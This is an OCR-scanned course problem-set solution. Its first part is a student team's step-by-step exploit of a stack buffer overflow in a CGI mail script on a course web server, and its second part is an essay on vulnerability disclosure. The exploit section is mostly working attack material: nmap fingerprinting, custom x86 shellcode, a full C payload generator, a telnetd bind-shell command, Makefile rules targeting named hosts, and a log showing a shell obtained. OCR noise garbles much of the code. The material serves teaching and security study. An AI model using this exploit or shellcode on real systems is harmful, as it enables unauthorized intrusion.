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Professor Ronald L. Rivest

Problem Set 6 Solutions

Problem 6-1. Buffer overflows: We Own j0O.

While most groups were able to intercept “alarm” email, only one group claimed to break into
the Web server. This solution comes from Jim Paris, David Mellis, Chris Elledge, and Hernan
Lombardo.

(a) What’s wrong with this picture?
Security problems with TIM-stolen.c, in order they appear:

e Stack-based buffer overflow in main() with HTTP_X_DEBUGGIN variable (can overflow and
execute code)

e Fail to check for error from fork() (could potentially be a DOS depending on context;
anyone who can set resource limits and prevent the fork can cause the process to hang
forever)

e Stack-based buffer overflow in check_access() with QUERY_STRING variable (can over-
flow and execute code)

e Fail to check for error in close() system call (exploit scenario: close stdout before
invoking program, database gets opened as stdout, haxOr exhausts resources so close ()
fails, later printf () goes into database.txt)

There are other problems with the “full” version, as well; at the very least, there’s an
additional overflow when more environment variables are appended to the message buffer.
(b) Buffer overflow baby steps

The recipient buffer is located directly after the query_string buffer in memory, so send
a QUERY_STRING longer than 128 bytes to overflow into recipient. This portion of our
Makefile does that:

mail:
perl —e ”print.’a’x128;_print .’ jim@ [18.243.0.82]’;” | \
lynx —get_data —dump http://857.1cs.mit.edu/cgi—bin/TIM

and causes the following e-mail to get sent to jim@[18.243.0.82]:

To: jim@neurosis.mit.edu
Subject: TIM Card
From: Apache <apache@857.1cs.mit.edu>

Access denied: aaaaaaaaaaaaaaaaaaaaanaanadaaaandnraaaaaanaaaaad...
18.243.0.82

from which we can deduce that a portion of the missing code from the full version of tim.c
makes a call to getenv ("REMOTE_ADDR") and probably another call to getenv ("QUERY_STRING"),
a fact which is quite important later.

(¢) The artful buffer overflow
We did this, but it’s boring, and our code for part (d) still works on TIM-stolen.c anyway.
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(d)

The moment you’ve been waiting for
The contents of database.txt:

Congrats. You found a fake database. Bhwaa.
You still won though. Congrats on getting in.
Please be nice.

Ron Rivest: 555—52—5252 : LCS StataCenter

Kevin Fu: 123—88—8888 : LCS !MediaLab NextDining

Thien—Loc Nyguen: 002—53—1212 : LCS MGH MedCenter

Ben Bitdiddle:  685—76—8576 : LCS Simmons BakerDining WestgateParking

How we did it: First, we did a 1lynx -head http://857.1lcs.mit.edu to figure out that
you're running Apache 1.3.23, and nmap -sS -v -0 857.1lcs.mit.edu to determine your
OS as being Linux 2.4.0 - 2.5.20. It’s safe to assume you have a standard libc, and so we
know the memory organization when the program runs will be something like this (not to
scale):

message — about 1k

query_string

recipient — about 0.2k

check_access() return addr _

main() stack frame

libc crap — about 1k

envp and argp

environment

maybe 256 bytes +
length of our vars

where the end of the stack is at address 0xc0000000.

Now we want to exploit this. We know from the code and the e-mail sent to us in part
(a) that our QUERY_STRING buffer will get copied to query_string first, and then getenv()
will be called probably twice, with QUERY_STRING being copied again to message maybe in
between those calls to getenv() (this is the portion of the code that we didn’t get, so at
this point it’s all guesswork).
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After the first copy, memory looks something like this:

message — about 1k
(this overwrites the data shown to the left)

query_string our data

recipient — about 0.2k

check_access () return addr _

main () stack frame

libe crap — about 1k

envp and argp

environment

So we can see that the first thing in our buffer should be lots of copies of our desired return
address; let’s use about 0.2k for now. We'll figure out the actual value for the return address
later.

Assuming our QUERY_STRING is more than about 2k, we’ve immediately hit a problem: we’ve
clobbered envp with junk (probably NOPs) and so the later call to getenv() will segfault.
So, we dive a little deeper into glibc.

getenv() uses the environ variable to reference envp which is a null-terminated list of
pointers to strings in the environment area of the stack. environ is safely in the BSS
segment, so it still points to where envp used to be: about 0.3k after the beginning of our
buffer. So the next thing in the buffer should be a replacement for envp.

We only care that getenv() succeeds. From glibc sources, we see that there are two ways
it can do this: either finding a null pointer in envp or finding the string it’s looking for
(followed by ’=’). We can’t put a NULL in envp (since we can’t include NULLs in our
string), so we have to make sure that somewhere in there, there’s a pointer to a string that
begins with whatever getenv() is looking for. We’ll put about 1k of these envp pointers.

Since we're guessing that getenv() is looking for QUERY_STRING and REMOTE_ADDR, and we
need to have the environment strings “REMOTE_ADDR=" and “QUERY_STRING=" in our buffer.
We’ll put them right after the long envp pointer list. How many? 2k worth sounds good.
Where should the envp entries point? Let’s assume that, after the strings, the buffer will
hold about 1k NOPs followed by our shellcode. The end of our copied string is maybe
less than 1k from the end of the stack, and the NOPs take up another 1k, so our best bet
for the location of the strings is about 2k from the end of the stack. So the pointers in
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envp should point at address 0xc0000000-2k or so. Remembering that getenv() will keep
going through these pointers until it finds the strings it’s looking for, we use the string
“REMOTE_ADDR=QUERY_STRING=" and add small offsets of O through 26 to ensure that at least

one of them hits the beginning of each string.

So we do that, and our buffer and all the pointers look something like this:

BSS

environ

return address (many copies)

envp pointers

L~ | REMOTE_ADDR=QUER
— | Y_STRING=REMOTE_
— | ADDR=QUERY_STRIN...

NOPs

shellcode

0.2k

1k

2k

1k

small

and we’re confident that we’ve gotten past at least the first getenv() call. But we’re not safe
yet. From the e-mail we got, we guess that the code actually calls getenv ("QUERY_STRING"),
appends that string into message, and then calls getenv ("REMOTE_ADDR") and appends that
as well. The appending of QUERY_STRING will overflow into envp once more and break the

getenv ("REMOTE_ADDR")!
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After appending, memory will look like this:

— - — —

our buffer
message — about 1k

query_string our buffer

recipient — about 0.2k

check_access () return addr _

main() stack frame

libe crap — about 1k

envp and argp

environment

This means that both our return address and location of envp are wrong. However, we
can fix both together: by including now 1.2k of return addresses instead of 0.2k, our return
addresses are in the right spot and envp is in the right place for the second getenv() call.
Even better, the first getenv() will still succeed! This is because while environ will point
into the return addresses, getenv() will simply skim over those without failing, since it’s
still accessing a valid memory location but just not finding the proper string. Eventually, it
will hit the later envp and find what it’s looking for, and so we’ve finally made it through
both getenv()s and the copy to message unscathed with our return address in the proper
location.

Regarding the value of the return address: we’ll still have at least 1k of the end of our buffer
sitting in the environment, and that’s all NOPs plus shellcode. So, the return address should
just be around 1k from the end of the stack, or 0xc0000000-1k.
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Our second and final buffer layout therefore looks almost identical:

environ BSS
return address (many copies)
1.2k

envp pointers 1k

L~ | REMOTE_ADDR=QUER 2k

— | Y_STRING=REMOTE_
— | ADDR=QUERY_STRIN...

NOPs 1k
shellcode small

By the way, it’s a good time to consider how we’re getting this buffer into the CGI script.
We have to pass it as “get data” in the HTTP request, which means it’s going to be tacked
onto the end of the HTTP request:

GET http://857.1cs.mit.edu/cgi-bin/TIM?our-string-will-go-here HTTP/1.1

What characters are valid in the buffer? Obviously, it can’t contain nulls. From a look at the
Apache source, it turns out that the only other characters that cause problems are characters
for which ap_isspace() returns true. On Unix, ap_isspace() just calls isspace(), which
means that characters 0x09, 0x0A, 0x0B, 0x0C, 0x0D, and 0x20 are bad. Also, using a '#’ is
a bit of a pain, since that specifies an HTML anchor and doesn’t get included in the HTTP
request. Finally, Apache doesn’t seem to like 0x10 either. So, we need to make sure that
none of the buffer contains any of these characters — for what we’ve done so far, that just
means that we may have to adjust addresses slightly to make sure we don’t hit any of the
problem characters, while for the shellcode it means that we just have to be careful.
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Let’s write the shellcode. We want to run the equivalent of the C code

execl (“/ bin/sh’’ ;“/ bin/sh’’ ;“—c¢’’ ,“ some—commands”);

which, from some looking into libc and Linux source, is accomplished on Linux through
syscall 11:

mov 0x0b, %eax

mov (address of string “/ bin/sh”), %ebx
mov (address of argv pointer array), %ecx
mov (address of envp pointer array), %edx
int 0x80

The easiest way to make the argv and envp pointer arrays as well as get the addresses of
the strings is to just push them on the stack, since we won’t know where our code ends
up in memory, but we always know the stack pointer. The shellcode is also a little more
complicated than that to ensure that we don’t use any of the disallowed characters discussed
before. Also, to make things more fun, we have the exploit buffer generation program actually
generate the push instructions necessary for “some-commands”, so we can choose commands
to run on the fly. The instructions that get generated mask the bytes in such a way as to
ensure that we’re not using any of the invalid values for our buffer (like space and null).

The generated push instructions get prepended to this code:
SHELLCODE.S

#define pushchars(a,b,c,d) \
mov $((((a)<<24)|((b)<<16)|((c)<<8)|d) ~ 0x80808080), %eax ;\
xor $0x80808080, %eax ; push %eax

shellcode :
# command to execute must have been pushed onto stack already
mov %esp, Y%ecx
pushchars (0,0, c’)—")
mov %esp, %edx
pushchars( 0 ’h’)s /")
pushchars('n’, 1, b /")
mov %esp, %ebx
xor %eax, %eax
push %eax
push %ecx
push %edx
push %ebx
mov %esp,%ecx
push %eax
mov %esp,%edx
mov $0x3b,%al
sub $0x30,%al
int $0x80
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which is built like this

shellcode .h: shellcode.S genheader.pl
gee —c shellcode. S
objdump —d shellcode.o | perl genheader.pl > shellcode.h

which uses this
GENHEADER.PL

#!/usr/bin/perl
print ”unsigned char shellcode[] = {\n\t”;
while(<>) {

split (/ +/,$1);
push @bytes, @Q_;

}

$pr=0;
foreach $byte (Qbytes) {
print ”0x$byte, ”;
print ”\n\t” unless (++8pr)%3;

print ”0\n};\n”;

to generate something like this
SHELLCODE.H

unsigned char shellcode[] = {

0x89, Oxel, 0xb8, Oxad, 0xe3, 0x80, 0x80, 0x35,
0x80, 0x80, 0x80, 0x80, 0x50, 0x89, 0xe2, 0xb8,
Oxaf, 0xf3, 0xe8, 0x80, 0x35, 0x80, 0x80, 0x80,
0x80, 0x50, 0xb8, Oxaf, 0xe2, 0xe9, Oxee, 0x35,
0x80, 0x80, 0x80, 0x80, 0x50, 0x89, Oxe3, 0x31,
0xc0, 0x50, 0x51, 0x52, 0x53, 0x89, Oxel, 0x50,
0x89, 0xe2, 0xb0, 0x3b, 0x2c, 0x30, Oxcd, 0x80,
0

b
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We now have all the pieces, and just need to assemble them. This program uses the values
we guessed earlier, builds up the buffer, and spits it to stdout:

SPLOIT.C

#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>
#include <err.h>

#include ”shellcode.h”
typedef unsigned char u8;

int main(int argc, char xargv(]) {
/* Controllable arguments: %/
int ret_align =0; /* alignment for return address (0—3) */
int ret_len=1200; /x length of return addresses (bytes) %/
int nop_off=—1000+1; /* offset into nops (from end of stack) */
int env_off=—2000+1; /# offset into fake environment */
int envp_len=1000; /x length of fake envp array (bytes) */
int envlen=2000; /+* length of fake environment (bytes) */
int noplen=1000; /x length of nops (bytes) %/

/* Misc: */

int totallen ;

int shellcode_len ;

int execstr_len ;

int nop_addr = 0xc0000000+nop_off;
int env_addr = 0xc0000000+-env_off;
int i, j, bufi, tmpaddr;

u8 xexecstr;

u8 #buf;

u8 *tmp;

if (argc!=2) {
fprintf (stderr,” Usage: %s commands—to—run\n” *argv);
fprintf (stderr,”  eg: %s \”touch /tmp/foo\”\n” xargv);
exit (1);

}

/* Pad execstr to next multiple of 4 */

execstr_len =strlen(argv[1])+1;

execstr_len +=4—((execstr_len%4)7:4);

if ((execstr=(u8 *)malloc(execstr_len))==NULL) err(1,” malloc”);
memset(execstr,0,execstr len );

strcpy (execstr ,argv [1]);

shellcode_len = strlen (shellcode) + (execstrlen /4)x11;
total_len =ret_align+ret_len+envp_len+env_len+nop_len+shellcode_len;
fprintf (stderr,

7 ret_align =%d, ret_len=%d, nop_off=%d, \n”

7 env_off=%d, envp_len=%d, envlen=%d, \n”
”nop_len=%d, execstr_len=%d, shellcode_len=%d, \n”
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” total len =%d, nop_addr=%p, env_addr=%p \n”,
ret_align , ret_len ,nop_off, env_off ,envp_len,env_len,
nop_len, execstr_len , shellcode_len , total_len ,nop_addr,
env_addr);

if ((buf=(u8 *)malloc(total_len+1))==NULL) err(1,”malloc”);
memset(buf,0,total len+1);
bufi=0;

for (i=0;i<ret_align;i++)
buf[ bufi++]="x";

for (i=0;i<ret_len;i++)
buf[ bufi++]=((char *)&nop_addr)[i%4];

for (i=0;i<envp_len;i++) {
if ((1%4)==0)
tmpaddr = env_addr + (i/4)%27;
buf[ bufi++]=((char *)&tmpaddr)[i%4];
}

tmp="REMOTE_.ADDR=QUERY .STRING=";
for (i=0;i<env.len;i++)
buf[ bufi++]=tmp[i%strlen(tmp)];

for (i=0;i<nop_len;i++)
buf[ bufi++]=0x90;

/* Build and append the ”push” commands used for the execstr */
tmp="\x35\x80\x80\x80\x80\x50";
for (i=execstr_len—4;i>=0;i—=4) {
buf| bufi++4]=0xb8;
for (j=0;j<4;j++)
buf[bufi+-+]=execstr[i+j] ~ 0x80;
for (j=0;j<6j++)
buf[bufi++]=tmp]j];
}

for (i=0;i<strlen(shellcode );i++)
buf[ bufi++]=shellcodeli];

if (bufi!=total len)
errx(1,” buffer didn’t fill to expected length\n”);
if (strlen (buf)!=total len)
errx(2,” something in the buffer contained nulls\n”);
for (i=0;i<total_len;i++)
if (isspace (buf[i ]) || buf[i]=="#" || buf[i]==0x10)
errx(2,” invalid characters in buffer\n”);

fprintf (stderr,” Sending buffer to stdout\n”);
printf (” %s\n” ,buf);

10
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We want an interactive shell with a properly allocated TTY, so the commands that we want
to run are:

cd /tmp;echo ’#!/bin/sh’>tx;echo sh>>tx;chmod +x tx;
/usr/sbin/in.telnetd -debug -L /tmp/tx 1337;sleep 1;rm tx

which will open up a port 1337 which we can telnet to exactly once and get an interactive
shell as the user who ran it.

We're ready to exploit. All we need to do is run it, which we do against various hosts with
these Makefile rules:

exploit —remote: sploit

@echo Exploiting ${EXPLOIT_HOST}${EXPLOIT_LOC}

# Code will run twice due to fork, so there’s a very small race

# condition here. If it fails , trying again might work.

./ sploit ”cd./tmp;echo.’#!/bin/sh’>tx;echo_sh>>tx;chmod_+x_tx;_[line—wrapped]
/usr/sbin/in. telnetd —debug —L /tmp/tx 1337;sleep 1;rm tx” .| lynx_—get_data_[line—wrapped]
—dump —source ${EXPLOIT_HOST}${EXPLOIT_LOC} &

sleep 1

@telnet ${EXPLOIT_HOST} 1337

exploit —em: # redhat 6.2 linuz 2.2
EXPLOIT_HOST=easy—money EXPLOIT_LOC=/cgi—bin/tim make exploit—remote

exploit —neg: # redhat 7.1 linuz 2.4
EXPLOIT_HOST=negatron EXPLOIT_LOC=/cgi—bin/TIM make exploit—remote

exploit —ns: # custom linuz 2.4
EXPLOIT_HOST=neurosis EXPLOIT _LOC=/"jim/tim/tim.cgi make exploit—remote

exploit —857: # unknown linuz 2.4
EXPLOIT_HOST=857.Ics EXPLOIT_LOC=/cgi—bin/TIM make exploit—remote
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(e)

(f)

After testing on our own hosts, we try it and succeed:

neurosis$ make exploit-857

EXPLOIT_HOST=857.1cs EXPLOIT_LOC=/cgi-bin/TIM make exploit-remote
make [1] : Entering directory ‘/home/jim/devl1/6.857/tim’
Exploiting 857.1lcs/cgi-bin/TIM

# Code will run twice due to fork, so there’s a very small race
# condition here. If it fails, trying again might work.
./sploit "cd /tmp;echo ’#!/bin/sh’>tx;echo sh>>tx;chmod +x tx;
/usr/sbin/in.telnetd -debug -L /tmp/tx 1337;sleep 1;rm tx" |
lynx -get_data —dump -source 857.1lcs/cgi-bin/TIM &

sleep 1

ret_align=0, ret_len=1200, nop_off=-999,

env_off=-1999, envp_len=1000, env_len=2000,

nop_len=1000, execstr_len=112, shellcode_len=364,
total_len=5564, nop_addr=0xbffffcl19, env_addr=0xbffff831
Sending buffer to stdout

Trying 18.52.1.206...

Connected to 857.1lcs.mit.edu.

Escape character is ’~]7.

Red Hat Linux release 7.3 (Valhalla)

Kernel 2.4.18-3 on an i686

bash$ id

uid=48(apache) gid=48(apache) groups=48(apache)

bash$ exit

exit

Connection closed by foreign host.

neurosis$ Owned

bash: Owned: command not found

Stackguard

Stackguard would prevent us from overflowing into the return address, but we’d still be doing
nasty things to the envp tables and other libc structures when you’re calling getenv() later,
and so it’s likely that we could still clobber enough stuff to break it.

Fixing the bugs
Sorry, time for class, no time to fix bugs. Fixing the C code could be as easy as using malloc

to allocate sufficient memory for the QUERY_STRING buffer, and/or use strncpy and related
functions to limit how much you’re copying.

Problem 6-2. Vulnerability Reporting

The following solution comes from Nick Bozard, Antonio Vicente, and Jen Selby.

()

In the event of discovery of a security hole in a widely deployed product, the generally
appropriate thing to do (in our opinions) is to first notify the maintainers of the software.
The person who found the exploit should work with the maintainer to come up with a
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(b)

practical solution before disclosing it to the public, or decide together to disclose without
any patch. If, however, the maintainers don’t respond after a reasonable period of time, it is
acceptable to fully disclose the vulnerability to the public in general so that they may find
a workaround. There is always the chance that other people have also found this security
breach and are exploiting it, and releasing knowledge of this might help close up the hole.
Therefore, regardless of the circumstances, the vulnerability should always be fully disclosed
eventually (though we acknowledge that there are generally exceptions to every rule).

The specifics of handling the discovery of a vulnerability depend on the severity of the
vulnerability, how widely used the software is, the likelihood that this vulnerability will be
exploited without disclosure, and the existence (or lack thereof) of a patch or solution. The
nature of the company which produced the software also should be taken into account. Does
this company have a policy on releasing vulnerability information? Do you agree with their
policy? Is the source for the code widely available (i.e. can other people look at it to find
holes? or to patch them?).

An advisory gone bad

An example of a security vulnerability that was handled poorly is the case of the OpenSSH
Vulnerabilities in Challenge Response Handling(CA-2002-18). Theo de Raadt announced the
existence of a remote exploit in OpenSSH and encouraged everyone to upgrade to OpenSSH
version 3.3 which according to him reduces the effect of this vulnerability. This version of
OpenSSH introduced a feature called privilege separation which would make it harder for
attackers to get a shell as root. Enabling this feature breaks the functionality provided by
multiple authentication modules which require direct interaction with the user.

The announcement of this vulnerability caused wide confusion over the Debian-security
mailing list due to the lack of details. Both users and maintainers had no clues about what
they could do to protect their systems and the nature of Theo’s announcement made several
users hesitant to take the upgrade blindly. There were 4 emails to debian-sec and at least 60
to debian-security following this announcement which ranged from requests for patches to
the stable distribution to claims that Debian’s packages were not vulnerable since by default
they had keyboard interactive authentication off.

Debian maintainers were forced to back port OpenSSH’s dependencies back to 2.2 kernels
and disable some features in order to make ssh work under older kernels. Trying to pro-
vide OpenSSH 3.3 packages, Debian maintainers released a series of broken packages that
wouldn’t even install in some systems. This pain could have been prevented if the OpenBSD
team had given more information about the nature of the vulnerability, which would have
allowed users to disable those features while they wait for a full patch.

Another critical failure is that the OpenBSD team did full disclosure when they were the
only ones close to having a patch out. It took several hours before OpenSSH 3.4 portable
was available to Linux vendors to package which speaks badly against the OpenBSD team’s
full disclosure policy. In this case, doing a full disclosure instead of just releasing a warning
about the existence of a vulnerability and what to do to alleviate it’s effects was much worse
than doing a full disclose in the first place.

A Mostly Well-handled Advisory

The Buffer Overflow in the Kerberos Administration Daemon (CA-2002-29) is an example
of a vulnerability handled well under the circumstances. Members of the Heimdel Kerberos
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team first noticed the vulnerability in their Kerberos implementation and published a patch
for it. Upon realizing that the vulnerability also affected the MIT Kerberos implementation,
they contacted the MIT Kerberos development team privately. The MIT team spent some
time inspecting the vulnerability, and one of things that they discovered was that the Heimdel
patch did not completely close the hole. A new patch, the product of work from both teams,
was produced. The Kerberos developers then went public with the vulnerability and the
patch.

This is not the best possible security hole discovery, as there was a relatively sizeable amount
of time in which people could see the Heimdel advisory and figure out how to exploit it in the
MIT implementation. On the other hand, it is to the Heimdel developers’ credit that, when
they did notice that it was not just their problem, they did not simply publicly announce
that other Kerberos implementations were vulnerable. By allowing the MIT team to deal
with the hole privately first, both teams benefitted by having a smaller amount of time in
which there was a public security hole without a full patch.

Now, there is a downside to these holes being publicly announced, in that it is much easier for
script kiddies to break into any implementation of Kerberos that does not apply the patch.
However, most people that care enough to run Kerberos care enough to watch for CERT
announcements and patch remote-exploitable vulnerabilities that compromise the Kerberos
key database itself. If the hole were not publicized, there is still a good chance that other
people would discover it, and then anyone who had not upgraded to the next version of
either Kerberos implementation (which would presumably incorporate the patch) would be
vulnerable to this exploit without their knowledge.

Sources: various Kerberos mailing list, conversations with members of the MIT Kerberos
development team

Work Division: Everyone discussed our answer to the first part. Nick wrote up the first
part. Antonio wrote up the second part. Jen wrote up the third part. Jen proofread and
edited all parts.



